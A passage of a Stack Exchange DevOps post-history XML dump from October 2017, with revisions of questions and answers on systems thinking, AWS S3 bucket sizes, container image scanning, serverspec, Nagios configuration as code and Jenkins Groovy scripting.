system.&#xD;&#xA;&#xD;&#xA;https://thesystemsthinker.com/introduction-to-systems-thinking/&#xD;&#xA;&#xD;&#xA;&gt; What exactly is systems thinking? In simplest terms, systems thinking&#xD;&#xA;&gt; is a way of seeing and talking about reality that helps us better&#xD;&#xA;&gt; understand and work with systems to influence the quality of our&#xD;&#xA;&gt; lives. In this sense, systems thinking can be seen as a perspective.&#xD;&#xA;&gt; It also involves a unique vocabulary for describing systemic behavior,&#xD;&#xA;&gt; and so can be thought of as a language as well. And, because it offers&#xD;&#xA;&gt; a range of techniques and devices for visually capturing and&#xD;&#xA;&gt; communicating about systems, it is a set of tools.&#xD;&#xA;&#xD;&#xA;https://www.burgehugheswalsh.co.uk/Systems-Thinking/Approach.aspx&#xD;&#xA;&#xD;&#xA;&gt; Fundamentally, Systems Thinking is straightforward. We treat the&#xD;&#xA;&gt; situation of interest as a system and examine it using system&#xD;&#xA;&gt; properties and characteristics like purpose, context and structure to&#xD;&#xA;&gt; discover more.&#xD;&#xA;&#xD;&#xA;http://study.com/academy/lesson/systems-thinking-in-management-definition-theory-model.html&#xD;&#xA;&#xD;&#xA;&gt; System thinking is a method of critical thinking by which you analyze&#xD;&#xA;&gt; the relationships between the system's parts in order to understand a&#xD;&#xA;&gt; situation for better decision-making. In simpler terms, you look at a&#xD;&#xA;&gt; lot of the trees, other plants and critters living around the trees,&#xD;&#xA;&gt; the weather, and how all these parts fit together in order to figure&#xD;&#xA;&gt; out the forest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Interdependence" ContentLicense="CC BY-SA 3.0" />
  <row Id="7004" PostHistoryTypeId="5" PostId="2233" RevisionGUID="52e15718-ac50-49cb-926f-b6d734cb5986" CreationDate="2017-10-03T23:23:48.637" UserId="210" Comment="added 58 characters in body" Text="Questions that are related to Git Large File Storage (LFS)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7005" PostHistoryTypeId="24" PostId="2233" RevisionGUID="52e15718-ac50-49cb-926f-b6d734cb5986" CreationDate="2017-10-03T23:23:48.637" Comment="Proposed by 210 approved by 40, 47 edit id of 470" ContentLicense="CC BY-SA 3.0" />
  <row Id="7006" PostHistoryTypeId="5" PostId="2239" RevisionGUID="0b5d1bbc-779b-4172-a6d6-e65829e1b35c" CreationDate="2017-10-03T23:27:47.690" UserId="210" Comment="added 51 characters in body" Text="Googling &quot;system thinking&quot; returned a lot of resources that are about &quot;Systems thinking&quot; rather than &quot;System thinking&quot;. [This source][1] indicates that &quot;Systems thinking&quot; is one of the three ways that could be applied in DevOps.&#xD;&#xA;&#xD;&#xA;After reading several references &quot;Systems thinking&quot; is about interactions rather than silos. If one translates this to DevOps then &quot;Systems thinking&quot; is aligned with the theory and also important for DevOps as this is the interaction between QA, Dev and Ops.&#xD;&#xA;&#xD;&#xA;In order to apply &quot;Systems thinking&quot; one should be able to communicate with people from Dev, Ops and QA, listen to them, understand their problems and find ways to let them work together instead of getting a &quot;through it over the wall&quot; mentality and unconnected departments in the company.&#xD;&#xA;&#xD;&#xA;An element that really requires &quot;Systems thinking&quot; is Continuous Delivery (CD). Multiple departments are involved, while CI is mostly used by Dev, QA and Ops will be definitely need to be involved in this process as one does not want to release a newer version if integration or manual tests failed and Ops want to be informed if there are changes to the system as they monitor systems and try to prevent and solve issues on the platform.&#xD;&#xA;&#xD;&#xA;In summary, &quot;Systems thinking&quot; is required for DevOps engineers. If one only sees Dev, Ops and QA as individual parts, but no [interdependency][2] then this is not aligned with [the DevOps theory][3], i.e. intersection between Dev, Ops and QA.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;https://medium.com/disruptive-design/tools-for-systems-thinkers-the-6-fundamental-concepts-of-systems-thinking-379cdac3dc6a&#xD;&#xA;&#xD;&#xA;http://www.thwink.org/sustain/glossary/SystemsThinking.htm&#xD;&#xA;&#xD;&#xA;&gt; a discipline for seeing the 'structures' that underlie complex&#xD;&#xA;&gt; situations, and for discerning high from low leverage points.&#xD;&#xA;&#xD;&#xA;https://thesystemsthinker.com/connecting-systems-thinking-and-action/&#xD;&#xA;&#xD;&#xA;&gt; The iceberg is one of the most frequently used models to explain&#xD;&#xA;&gt; systems thinking (see “The Iceberg”). Thanks to movies like “Titanic,”&#xD;&#xA;&gt; many people recognize that most of an iceberg sits hidden beneath the&#xD;&#xA;&gt; water; that is, out of sight.&#xD;&#xA;&#xD;&#xA;https://www.accenture.com/us-en/blogs/blogs-devops-evan-erwee-system-thinking&#xD;&#xA;&#xD;&#xA;&gt; System Thinking allows people to make their understanding of social&#xD;&#xA;&gt; systems explicit and improve them in the same way that people can use&#xD;&#xA;&gt; engineering principles to improve their understanding of mechanical&#xD;&#xA;&gt; systems.&#xD;&#xA;&gt;&#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; We can therefore state that System Thinking for DevOps is required to&#xD;&#xA;&gt; understand Software Engineering as a social construct using&#xD;&#xA;&gt; engineering principles.&#xD;&#xA;&gt; &#xD;&#xA;&gt; From a System Thinking approach, DevOps thinking is fundamentally&#xD;&#xA;&gt; different from the traditional form of analysis. Traditional analysis&#xD;&#xA;&gt; focus on separating the individual software engineering pieces, e.g.,&#xD;&#xA;&gt; architecture, coding, testing, tooling etc. In contrast, the DevOps&#xD;&#xA;&gt; approach focuses on how all aspects of the software life cycle&#xD;&#xA;&gt; interact with other constituents of the system. Circling back to the&#xD;&#xA;&gt; definition of DevOps we can easily identify the ‘behavior traits’&#xD;&#xA;&gt; observed in the DevOps movement, namely: adaptable/flexible (improve&#xD;&#xA;&gt; relationship), cooperative (better communication), diplomatic&#xD;&#xA;&gt; (collaboration), etc.&#xD;&#xA;&#xD;&#xA;http://www.systemicleadershipinstitute.org/systemic-leadership/theories/basic-principles-of-systems-thinking-as-applied-to-management-and-leadership-2/&#xD;&#xA;&#xD;&#xA;&gt; Systems thinking is a management discipline that concerns an&#xD;&#xA;&gt; understanding of a system by examining the linkages and interactions&#xD;&#xA;&gt; between the components that comprise the entirety of that defined&#xD;&#xA;&gt; system.&#xD;&#xA;&#xD;&#xA;https://thesystemsthinker.com/introduction-to-systems-thinking/&#xD;&#xA;&#xD;&#xA;&gt; What exactly is systems thinking? In simplest terms, systems thinking&#xD;&#xA;&gt; is a way of seeing and talking about reality that helps us better&#xD;&#xA;&gt; understand and work with systems to influence the quality of our&#xD;&#xA;&gt; lives. In this sense, systems thinking can be seen as a perspective.&#xD;&#xA;&gt; It also involves a unique vocabulary for describing systemic behavior,&#xD;&#xA;&gt; and so can be thought of as a language as well. And, because it offers&#xD;&#xA;&gt; a range of techniques and devices for visually capturing and&#xD;&#xA;&gt; communicating about systems, it is a set of tools.&#xD;&#xA;&#xD;&#xA;https://www.burgehugheswalsh.co.uk/Systems-Thinking/Approach.aspx&#xD;&#xA;&#xD;&#xA;&gt; Fundamentally, Systems Thinking is straightforward. We treat the&#xD;&#xA;&gt; situation of interest as a system and examine it using system&#xD;&#xA;&gt; properties and characteristics like purpose, context and structure to&#xD;&#xA;&gt; discover more.&#xD;&#xA;&#xD;&#xA;http://study.com/academy/lesson/systems-thinking-in-management-definition-theory-model.html&#xD;&#xA;&#xD;&#xA;&gt; System thinking is a method of critical thinking by which you analyze&#xD;&#xA;&gt; the relationships between the system's parts in order to understand a&#xD;&#xA;&gt; situation for better decision-making. In simpler terms, you look at a&#xD;&#xA;&gt; lot of the trees, other plants and critters living around the trees,&#xD;&#xA;&gt; the weather, and how all these parts fit together in order to figure&#xD;&#xA;&gt; out the forest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Interdependence&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="7007" PostHistoryTypeId="5" PostId="1412" RevisionGUID="7ec16624-716d-4a99-a66d-6e41934e12b5" CreationDate="2017-10-04T00:11:37.090" UserId="6" Comment="fix typo system-&gt;systems" Text="The &quot;First Way&quot; in Gene Kim's explanation of DevOps requires &quot;Systems Thinking&quot; https://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;&#xD;&#xA;Where can one learn the ability for &quot;Systems Thinking&quot;? What are some of the resources that can take someone who has no familiarity with &quot;Systems Thinking&quot; and enable that person to start doing &quot;Systems Thinking&quot; in his daily work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7008" PostHistoryTypeId="6" PostId="1412" RevisionGUID="a0b7182e-ccdc-40c0-990f-8e866c0f2d19" CreationDate="2017-10-04T06:19:18.877" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;meme&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7009" PostHistoryTypeId="24" PostId="1412" RevisionGUID="a0b7182e-ccdc-40c0-990f-8e866c0f2d19" CreationDate="2017-10-04T06:19:18.877" Comment="Proposed by 739 approved by 47, 40 edit id of 471" ContentLicense="CC BY-SA 3.0" />
  <row Id="7010" PostHistoryTypeId="2" PostId="2240" RevisionGUID="d902c1a7-65b9-487a-8991-e7ee9a110c10" CreationDate="2017-10-04T06:58:11.917" UserId="210" Text="[Clair-scanner][1] is able to scan the images locally.&#xD;&#xA;&#xD;&#xA;https://github.com/arminc/clair-scanner/issues/13&#xD;&#xA;&#xD;&#xA;&gt;     docker run --net=host -d --name db arminc/clair-db:2017-09-18&#xD;&#xA;&gt;     docker run --net=host --add-host postgres:127.0.0.1 -d --name clair --net=host arminc/clair-local-scan:v2.0.1&#xD;&#xA;&gt;     ./clair-scanner nginx:1.11.6-alpine example-nginx.yaml http://127.0.0.1:6060 127.0.0.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/arminc/clair-scanner" ContentLicense="CC BY-SA 3.0" />
  <row Id="7011" PostHistoryTypeId="2" PostId="2241" RevisionGUID="005614ca-fdf9-44ca-90c6-0a726cc4f87f" CreationDate="2017-10-04T07:19:29.987" UserId="887" Text="I have multiple AWS accounts and I need to list all S3 buckets per account and then view each buckets total size.&#xD;&#xA;&#xD;&#xA;Currently, I can only view the storage size of a single S3 bucket with:&#xD;&#xA;&#xD;&#xA;    aws s3 ls s3://mybucket --recursive --human-readable --summarize&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7012" PostHistoryTypeId="1" PostId="2241" RevisionGUID="005614ca-fdf9-44ca-90c6-0a726cc4f87f" CreationDate="2017-10-04T07:19:29.987" UserId="887" Text="View all S3 buckets and list each buckets storage space being used" ContentLicense="CC BY-SA 3.0" />
  <row Id="7013" PostHistoryTypeId="3" PostId="2241" RevisionGUID="005614ca-fdf9-44ca-90c6-0a726cc4f87f" CreationDate="2017-10-04T07:19:29.987" UserId="887" Text="&lt;amazon-s3&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7014" PostHistoryTypeId="2" PostId="2242" RevisionGUID="d997a408-411e-4de3-b7bc-74f9fdecba32" CreationDate="2017-10-04T07:55:17.810" UserId="503" Text="You're going to have to write a script to do this unless there's a tool to do it that I can't find.&#xD;&#xA;&#xD;&#xA;If you're working with multiple aws accounts you'll need to be switching between accounts to get the bucket sizes.&#xD;&#xA;&#xD;&#xA;To get all of the buckets and their total size you can use '[aws s3api][1]'. Using `list-buckets` you can get all of the buckets in one account and then you'll be able to list their sizes and try the next account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/cli/latest/reference/s3api/list-buckets.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7015" PostHistoryTypeId="2" PostId="2243" RevisionGUID="5cb906d6-7d34-4c7b-a4e2-6156cd07e8a9" CreationDate="2017-10-04T12:41:44.493" UserId="210" Text="One could use [serverspec][1] to test whether a service like nginx is exposing ports, .e.g:&#xD;&#xA;&#xD;&#xA;    require 'spec_helper'&#xD;&#xA;    &#xD;&#xA;    describe port(80) do&#xD;&#xA;      it { should be_listening }&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    describe port(443) do&#xD;&#xA;      it { should be_listening }&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Once the serverspec code has been written one could create a script that starts the nginx, subsequently runs the serverspec and finally destroys the nginx.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverspec.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7016" PostHistoryTypeId="5" PostId="1541" RevisionGUID="4f8bc502-74b5-4f91-8d32-3eb75366b7ab" CreationDate="2017-10-04T12:48:48.523" UserId="210" Comment="edited body" Text="While trying to get a clear picture how to setup a seamless CasC (Configuration as Code) build and deployment plan management, I must to admit that I get quite puzzled.&#xD;&#xA;&#xD;&#xA;Is the following (subjective) *ideal scenario* possible?&#xD;&#xA;&#xD;&#xA; - Users can manage their plans as code or via UI as YAML&#xD;&#xA; - Plan changes in UI result in a commit to the CasC code base (YAML as well)&#xD;&#xA;&#xD;&#xA;In the meantime, my impressions are that just pieces of that are possible but no integraton setup yet:&#xD;&#xA;&#xD;&#xA; 1. Admins can manually export (and import?) plan configurations as YAML via UI&#xD;&#xA; 2. Bamboo Specs allow Java language coding of plans. &#xD;&#xA;&#xD;&#xA;Looks like #1 is too limited (possibly usage of REST API could change that? But still you'd need admin rights) and #2 will be overdesigned for most cases.&#xD;&#xA;&#xD;&#xA;Anybody has a solution for the (subjective) *ideal scenario*?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7017" PostHistoryTypeId="5" PostId="1421" RevisionGUID="4ac01231-0ab4-46d3-8192-a1432e8041cd" CreationDate="2017-10-04T12:49:16.100" UserId="210" Comment="edited body" Text="If Nagios server would use a CasC source of configuration in a larger organization is there a design flaw in this approach which will limit scaling up?&#xD;&#xA;&#xD;&#xA;To avoid broken configuration, test instances of Nagios could be validated in a CI environment.&#xD;&#xA;&#xD;&#xA;Usage scenario: imagine a central Nagios service with more users than you want to be able to break it, who would like to add their services for monitoring." ContentLicense="CC BY-SA 3.0" />
  <row Id="7018" PostHistoryTypeId="5" PostId="2178" RevisionGUID="230877d9-6a6d-47bd-b8a0-e0a3228784ed" CreationDate="2017-10-04T13:02:06.277" UserId="707" Comment="added 4 characters in body; edited title" Text="Is there really a difference? Would &quot;Director&quot; lead several &quot;Head of&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7019" PostHistoryTypeId="4" PostId="2178" RevisionGUID="230877d9-6a6d-47bd-b8a0-e0a3228784ed" CreationDate="2017-10-04T13:02:06.277" UserId="707" Comment="added 4 characters in body; edited title" Text="What is the difference between the roles Director of DevOps vs Head of DevOps and related areas of responsibility?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7020" PostHistoryTypeId="2" PostId="2244" RevisionGUID="cd1379ee-a788-4e33-bb76-d44ddce2aac2" CreationDate="2017-10-04T14:00:50.990" UserId="4328" Text="You will need to write a script that parses and queries this data because as far as I'm aware, there is not a tool or cli function that performs this. Luckily, you can gather all of this information with the CLI. &#xD;&#xA;&#xD;&#xA; 1. [List][1] and parse all of the accounts in your org. &#xD;&#xA;&#xD;&#xA;        aws organizations list-accounts&#xD;&#xA;&#xD;&#xA; 2. For each account, [list][2] and parse all of the buckets. &#xD;&#xA;&#xD;&#xA;        aws s3api list-buckets --query &quot;Buckets[].Name&quot;&#xD;&#xA;&#xD;&#xA; 3. Finally, get the size of each bucket within each account. You can use the same cli command you were before, but be warned that you are going to be listing the individual size of each item within the bucket. You can also use this cli command to get bucket size.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;        aws s3api list-objects --bucket BUCKETNAME --output json --query &quot;&#xD;&#xA;        [sum(Contents[].Size), length(Contents[])]&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/cli/latest/reference/organizations/list-accounts.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/s3api/list-buckets.html&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7021" PostHistoryTypeId="50" PostId="1877" RevisionGUID="1b344ff8-0675-4132-b62b-1b799b1d1529" CreationDate="2017-10-04T14:20:22.153" UserId="-1" />
  <row Id="7022" PostHistoryTypeId="2" PostId="2245" RevisionGUID="87961d88-f9df-440f-ba80-cb81b384f288" CreationDate="2017-10-04T14:41:30.177" UserId="887" Text="So I solved this with the following script. I originally posted the question just in case there was an easier way that I was not aware of.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    aws_profile=('profile1' 'profile2' 'profile3');&#xD;&#xA;    &#xD;&#xA;    #loop AWS profiles&#xD;&#xA;    for i in &quot;${aws_profile[@]}&quot;; do&#xD;&#xA;      echo &quot;${i}&quot;&#xD;&#xA;      buckets=($(aws --profile &quot;${i}&quot; --region your_region s3 ls s3:// --recursive | awk '{print $3}'))&#xD;&#xA;    &#xD;&#xA;      #loop S3 buckets&#xD;&#xA;      for j in &quot;${buckets[@]}&quot;; do&#xD;&#xA;      echo &quot;${j}&quot;&#xD;&#xA;      aws --profile &quot;${i}&quot; --region your_region s3 ls s3://&quot;${j}&quot; --recursive --human-readable --summarize | awk END'{print}'&#xD;&#xA;      done&#xD;&#xA;    &#xD;&#xA;    done" ContentLicense="CC BY-SA 3.0" />
  <row Id="7023" PostHistoryTypeId="5" PostId="2245" RevisionGUID="bfdc9733-0fb2-4ffb-83ec-539e3e5db0c6" CreationDate="2017-10-04T15:03:57.440" UserId="887" Comment="added 586 characters in body" Text="**Resolution 1**&#xD;&#xA;&#xD;&#xA;So I solved this with the following script. I originally posted the question just in case there was an easier way that I was not aware of.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    aws_profile=('profile1' 'profile2' 'profile3');&#xD;&#xA;    &#xD;&#xA;    #loop AWS profiles&#xD;&#xA;    for i in &quot;${aws_profile[@]}&quot;; do&#xD;&#xA;      echo &quot;${i}&quot;&#xD;&#xA;      buckets=($(aws --profile &quot;${i}&quot; --region your_region s3 ls s3:// --recursive | awk '{print $3}'))&#xD;&#xA;    &#xD;&#xA;      #loop S3 buckets&#xD;&#xA;      for j in &quot;${buckets[@]}&quot;; do&#xD;&#xA;      echo &quot;${j}&quot;&#xD;&#xA;      aws --profile &quot;${i}&quot; --region your_region s3 ls s3://&quot;${j}&quot; --recursive --human-readable --summarize | awk END'{print}'&#xD;&#xA;      done&#xD;&#xA;    &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Resolution 2**&#xD;&#xA;&#xD;&#xA;Using **Dashboards** in **CloudWatch** in the AWS console.&#xD;&#xA;&#xD;&#xA;You can then simply specify all S3 buckets and add the numbers stats to show the storage size metrics.&#xD;&#xA;&#xD;&#xA;This won't cost you plenty of API calls and can be significantly faster depending on the size of the s3 buckets(takes quite awhile to get the size on very large buckets).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Verdict**&#xD;&#xA;&#xD;&#xA;Creating the Dashboard (**Resolution 2**) on each AWS account was the most efficient option **for me** cause it is way quicker for me to log in and grab the metrics manually from each AWS account than to wait for the scripts API calls to finish. :(" ContentLicense="CC BY-SA 3.0" />
  <row Id="7024" PostHistoryTypeId="50" PostId="1917" RevisionGUID="f046f3ec-3da4-45d6-9f88-6cbdb77c7357" CreationDate="2017-10-04T15:20:22.070" UserId="-1" />
  <row Id="7025" PostHistoryTypeId="2" PostId="2246" RevisionGUID="1bf3d984-2a52-4e67-a636-946b1922eb2f" CreationDate="2017-10-04T15:28:59.763" UserId="2845" Text="[SaltStack](https://saltstack.com/) is great at generating these kinds of files based on metadata you feed to it via &quot;pillars&quot; as Salt itself uses YAML files heavily. Salt uses a [Jinja templating engine](http://jinja.pocoo.org/) (though others are also available). &#xD;&#xA;&#xD;&#xA;Similarly, [Puppet](https://puppet.com/) also uses YAML heavily and is able to do the same using an [ERB](https://docs.puppet.com/puppet/5.3/lang_template_erb.html) template. &#xD;&#xA;&#xD;&#xA;If you find that some of this metadata are things like a listening IP address or a hostname, these systems automatically generate variables such as this using [facter](https://docs.puppet.com/facter/) facts or salt [grains](https://docs.saltstack.com/en/latest/topics/grains/) respectively which can further reduce the amount of metadata you need to suply.&#xD;&#xA;&#xD;&#xA;[Chef](https://www.chef.io/chef/) is probably also capable of this, though I am not familiar with that configuration management system." ContentLicense="CC BY-SA 3.0" />
  <row Id="7026" PostHistoryTypeId="5" PostId="2236" RevisionGUID="5c0a205f-78ad-4dab-86f0-b487d14190de" CreationDate="2017-10-04T17:23:11.867" UserId="60" Comment="Improved code formatting" Text="You can try this, it works for me:&#xD;&#xA;&#xD;&#xA;1. Create a user named &quot;git&quot;&#xD;&#xA;&#xD;&#xA;        $ sudo adduser git&#xD;&#xA;        $ su git&#xD;&#xA;        $ cd ~&#xD;&#xA;        $ mkdir .ssh &amp;&amp; chmod 700 .ssh&#xD;&#xA;        $ touch .ssh/authorized_keys &amp;&amp; chmod 600 .ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;2. If you don't have ssh keys for &quot;nou&quot; user then, from &quot;nou&quot; user run&#xD;&#xA;&#xD;&#xA;        $ ssh-keygen&#xD;&#xA;&#xD;&#xA; and accept all defaults.&#xD;&#xA;&#xD;&#xA;3. Add &quot;nou&quot; user's ssh public key to git user ~/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;        $cat nou_user_home/.ssh/id_rsa.pub &gt;&gt; git_user_home/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;After this try below command from &quot;nou&quot; user:&#xD;&#xA;&#xD;&#xA;    docker build git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If `Dockerfile` is not at the root of cloned repository then:&#xD;&#xA;&#xD;&#xA;    docker build -f folder_containing_dockerfile/Dockerfile &#xD;&#xA;    git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If this all works fine then you can try with your `docker-compose` file." ContentLicense="CC BY-SA 3.0" />
  <row Id="7027" PostHistoryTypeId="24" PostId="2236" RevisionGUID="5c0a205f-78ad-4dab-86f0-b487d14190de" CreationDate="2017-10-04T17:23:11.867" Comment="Proposed by 60 approved by 707, 40 edit id of 472" ContentLicense="CC BY-SA 3.0" />
  <row Id="7028" PostHistoryTypeId="4" PostId="2241" RevisionGUID="32cdfe84-83de-4422-9966-de2b74dde675" CreationDate="2017-10-04T19:43:36.097" UserId="887" Comment="edited title" Text="View all AWS S3 buckets and list each buckets storage used" ContentLicense="CC BY-SA 3.0" />
  <row Id="7029" PostHistoryTypeId="4" PostId="1412" RevisionGUID="73403f81-3b12-462a-99c0-3657cf57c055" CreationDate="2017-10-04T21:25:19.513" UserId="210" Comment="edited title" Text="What is Systems Thinking?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7030" PostHistoryTypeId="2" PostId="2247" RevisionGUID="b6075c30-210e-4e99-9af5-d4e97f6cc447" CreationDate="2017-10-04T22:29:00.440" UserId="4369" Text="From my experience in managing a Nagios deployment with version controlled configuration files and CI/CD, it works really well. You can collaborate with other teams more easily since you can grant access to a git repository, and you gain all the benefits of CI/CD e.g. rollback and automatic testing. One thing that may be a bottleneck is how frequently you're reloading Nagios, but this would only be an issue when you have many deployments per hour.&#xD;&#xA;&#xD;&#xA;Nagios itself also has a lot of limitations and is missing a few key features  for a modern environment (scaling, configuration inheritance, APIs), but strictly speaking this doesn't detract from using CasC with Nagios." ContentLicense="CC BY-SA 3.0" />
  <row Id="7031" PostHistoryTypeId="2" PostId="2248" RevisionGUID="bf7a8695-ef35-4b68-96b4-f2ca1b85891a" CreationDate="2017-10-05T00:49:48.613" UserId="739" Text="Having a CasC setup means that you are in a better position to deal with any scalability issues that should arise later.  It should take you a while to max out a nagios box.  As long as you haven't starved it of memory or something you should be able to get thousands of nodes on a single nagios box.  How many depends on how many checks you're doing and how expensive those checks are.  But if you get to the point that a single nagios box is not enough being in a CasC situation gives you the power to shard things in a convenient way and go on with life.  There would be much less manual intervention than if you had to split your configs by hand.&#xD;&#xA;&#xD;&#xA;You might not reach the maximum for a single instance, but want the reliability of having local nagios boxes in each data center.  Having CasC lets you do this more easily and transparently as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="7032" PostHistoryTypeId="5" PostId="2066" RevisionGUID="7ca69d79-13a8-4b14-aa9b-822a8fd1547a" CreationDate="2017-10-05T05:41:43.997" UserId="40" Comment="deleted 1 character in body" Text="I have a WAMP server which hosts a Django application by using a Windows server.&#xD;&#xA;&#xD;&#xA;Currently I am deploying everything manually. Now I want apply Continuous Integration concepts to an existing application.&#xD;&#xA;&#xD;&#xA;What approach should I follow and what technology should I use for this?&#xD;&#xA;&#xD;&#xA;Which is better server to host Django application by CD in mind&#xD;&#xA;&#xD;&#xA;     is it Puppet,&#xD;&#xA;&#xD;&#xA;           Chef, &#xD;&#xA;&#xD;&#xA;           Jenkins etc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Currently I am using Git as source control." ContentLicense="CC BY-SA 3.0" />
  <row Id="7033" PostHistoryTypeId="6" PostId="1403" RevisionGUID="c2b9a72a-2ceb-4fcd-bee3-5d7fd943f4bd" CreationDate="2017-10-05T09:56:33.277" UserId="210" Comment="edited tags" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7034" PostHistoryTypeId="6" PostId="1411" RevisionGUID="9c3836e5-358a-47b1-9298-2a9d17ee771c" CreationDate="2017-10-05T09:56:39.697" UserId="210" Comment="edited tags" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7035" PostHistoryTypeId="6" PostId="1412" RevisionGUID="e7f9ab0d-fb41-4e64-acb4-6bf08aacb5c2" CreationDate="2017-10-05T09:57:10.663" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7036" PostHistoryTypeId="2" PostId="2249" RevisionGUID="8c035921-e713-404d-aa46-f0edf00e42ab" CreationDate="2017-10-05T16:30:44.673" UserId="4618" Text="In groovy script, you need to reference environemtn variables in a different way than in bash.&#xD;&#xA;So probably this line is causing trouble: &#xD;&#xA;`                branch: ('origin/pr/${pullRequestId}/from')`&#xD;&#xA;try using:&#xD;&#xA;`                branch: ('origin/pr/' + env.pullRequestId + '/from')`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7037" PostHistoryTypeId="4" PostId="2209" RevisionGUID="f735b710-f65a-4e62-b415-51966593df28" CreationDate="2017-10-05T17:32:27.600" UserId="40" Comment="edited title" Text="Why is Jenkins unable to read config.xml?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7038" PostHistoryTypeId="5" PostId="2249" RevisionGUID="89e821b8-cae0-4e6d-a7b4-8d5940ea9515" CreationDate="2017-10-05T18:24:35.110" UserId="47" Comment="improved formatting" Text="In groovy script, you need to reference environment variables in a different way than in bash.&#xD;&#xA;&#xD;&#xA;So probably this line is causing trouble: &#xD;&#xA;&#xD;&#xA;    branch: ('origin/pr/${pullRequestId}/from')&#xD;&#xA;&#xD;&#xA;Try using:&#xD;&#xA;&#xD;&#xA;    branch: ('origin/pr/' + env.pullRequestId + '/from')&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7039" PostHistoryTypeId="2" PostId="2250" RevisionGUID="adce5fec-0cee-407d-bb72-30492765a0b8" CreationDate="2017-10-05T19:50:28.830" UserId="3899" Text="I have Docker image which contains config files of VirtualBox and I want to use this image for running multiple containers in parallel.&#xD;&#xA;&#xD;&#xA;Config files of VM are being stored on host OS, however, I am afraid of issues with config data of VMs which may occur because of parallel accessing by multiple containers. &#xD;&#xA;All containers will be started by Jenkins automatically.&#xD;&#xA;&#xD;&#xA;Therefore, could you please tell what is the best way to share data between containers to avoid data corruption because of parallel usage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7040" PostHistoryTypeId="1" PostId="2250" RevisionGUID="adce5fec-0cee-407d-bb72-30492765a0b8" CreationDate="2017-10-05T19:50:28.830" UserId="3899" Text="The best way to share volume with config data between multiple Docker containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="7041" PostHistoryTypeId="3" PostId="2250" RevisionGUID="adce5fec-0cee-407d-bb72-30492765a0b8" CreationDate="2017-10-05T19:50:28.830" UserId="3899" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7042" PostHistoryTypeId="5" PostId="2148" RevisionGUID="3cdac6f9-de00-406c-8b3c-8b8d52f5c1cc" CreationDate="2017-10-05T20:22:16.660" UserId="4328" Comment="added 49 characters in body" Text="Here is some documentation on the Jenkins pipeline linter and its commands. Do you need to validate **before** a commit? If not, it would be really trivial to run the linting command prior to your pipeline running, and simply fail if it does not pass. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/NT1tS.png" ContentLicense="CC BY-SA 3.0" />
